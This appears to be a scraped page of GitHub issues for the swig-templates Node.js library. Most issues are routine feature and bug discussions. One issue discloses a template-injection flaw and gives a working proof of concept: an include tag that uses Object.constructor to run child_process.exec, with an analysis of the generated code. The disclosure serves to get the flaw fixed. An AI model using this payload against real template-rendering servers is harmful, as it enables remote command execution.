Git Product home page Git Product logo

swig-templates's People

Contributors

airandfingers avatar almad avatar asabhaney avatar bohnman avatar cdaringe avatar cyberwombat avatar d42f avatar djebbz avatar ecaron avatar elliotf avatar fbardelli-shutterstock avatar fzaninotto avatar greelgorke avatar hogart avatar imbcmdth avatar janka102 avatar kgarsjo avatar lochlan avatar logie17 avatar maratfm avatar nilya avatar nka11 avatar nsaun avatar paularmstrong avatar paulcpederson avatar skid avatar stanfeldman avatar stayradiated avatar toddrun avatar wilsaj avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

swig-templates's Issues

make 'ignore missing' an option on Swig Options object

It seems reasonable to want an "ignore missing" setting that is more general, in other words that can apply everywhere and not need to specify it for each specific use of the "include" tag. Perhaps it should even apply to entire templates that are missing. Why not make it an option to pass to the Swig Options object?

Suspected memory leak in swig / swig-templates

I recently got an error like this in production:

<--- Last few GCs --->

404572803 ms: Mark-sweep 1466.5 (1434.2) -> 1466.3 (1434.2) MB, 1884.6 / 0.0 ms [allocation failure] [GC in old space requested].
404574988 ms: Mark-sweep 1466.3 (1434.2) -> 1484.4 (1403.2) MB, 2184.6 / 0.0 ms [last resort gc].
404577008 ms: Mark-sweep 1484.4 (1403.2) -> 1503.8 (1403.2) MB, 2020.2 / 0.0 ms [last resort gc].

<--- JS stacktrace --->

==== JS stack trace =========================================

Security context: 0x23e3085cfb51 <JS Object>
    2: compiled [/opt/nodeapp/node_modules/swig/lib/swig.js:~608] [pc=0x19961c86ad0e] (this=0x23e3085e6111 <JS Global Object>,locals=0x2a837d238311 <an Object with map 0x382927d71809>)
    3: /* anonymous */ [/opt/nodeapp/node_modules/swig/lib/swig.js:559] [pc=0x199625010ad4] (this=0x23e3085e6111 <JS Global Object>,err=0x23e308504201 <null>,fn=0x2ec2109581f9 <JS Function compiled (SharedFunctio...

 "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory"

I run node 6.x LTS with the defaults, no extra memory given to V8.

The mention of swig made me suspect something in swig is not releasing memory properly. What do you think?

Trying to get in touch regarding a security issue

Hey there!

I'd like to report a security issue but cannot find contact instructions on your repository.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

pass js value inside swig variable

Hi I'm having passing js value inside the swig variable. Is there any way of doing it. Thanks.

Currently I'm doing like this

<script> $(function(){ if(variable == 'something'){ {%set n = variable %} } }); </script>

Thanks.

Add "includeDirs" option to Swig Options object

the Include tag should be able to find files in multiple places. The solution would seem to be a SwigOpts option that can accept a string or an array of strings for paths in which include would look for a file.

choose a new linter

jslint is no longer the only option out there in terms of enforcing a style guide. The only requirement is that it must have a command line runner which can accept multiple files. Options are:

Once chosen, all code will need to be updated to pass the linter (if we change styles). The Makefile and git hooks will also need to be updated.

/cc @cdaringe @Lochlan (carry over from #9)

consider creating a separate package from cli

This is a pattern I've seen more and more people start to use in the npm community. Essentially there would be swig-cli which would do all of the command line compiling/minification.

This would enable swig to have zero dependencies.

Security Issue: code execution vulnerability during template rendering

official doc

poc

tpl.html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

run.js

var swig = require('swig-templates');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

the code above will execute open -a Calculator.app command
m1-134808_ia1CFt

gif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif

Reason

include.js will do some code splicing

return (
(ignore ? ' try {\n' : '') +
'_output += _swig.compileFile(' +
file +
', {' +
'resolveFrom: "' +
parentFile +
'"' +
'})(' +
(onlyCtx && w ? w : !w ? '_ctx' : '_utils.extend({}, _ctx, ' + w + ')') +
');\n' +
(ignore ? '} catch (e) {}\n' : '')
)
}

the return value will be added to var out

o = token.compile(
exports.compile,
token.args ? token.args.slice(0) : [],
token.content ? token.content.slice(0) : [],
parents,
options,
blockName
)
out += o || ''

finally the value of out:

_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx,  + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));

the out will be used to make an anonymous function, and then call the function
m1-140208_EIzVeN

if you debug in detail, you will find that it will call the following anonymous funciton:

(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})

Ternary operator

It would be nice to have this function
{{ something ? 'yes' : 'no' }}
or
{{ something ?: 'no' }}

update the original repo to point here

Instead of just having NOT CURRENTLY MAINTAINED, how about having it point here. Also - I am definitely willing to put some time in here, love Swig, so if you are taking on any team members I would be happy to join and throw a couple of hours into bug-fixes/improvements.

problem with date

Hey there,
I hope you don't mind me asking this here, wasn't sure wether SO is the right place or not, but I am currently trying to figure out why swig doesn't accept my date call inside a loop, like this:

{% for post in collections.posts %}
  ...
    <span class="post-date">{{ post.date | date('d M Y') }}</span>
  ...
{% endfor %}

This gives me Unable to parse "post.date | date(&#39;d M Y&#39;)", while outside of loops / everywhere else it's just working fine. Background: I'm using metalsmith and have this problem with both swig and swig-templates. If I am missing something obvious: don't mind me asking, I'm still learning 🍦

improve package visibility

it's hard to find this package! googling it, even with a bunch of keywords, still gets you to paul's original project.

  • update paularmstrong's docs to point to our docs
  • update swig npm packages to point to our community package

i know paul has demonstrated some reluctance to let go of the reigns. getting his help here would be a big step in realization that the project is alive and kickin'

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.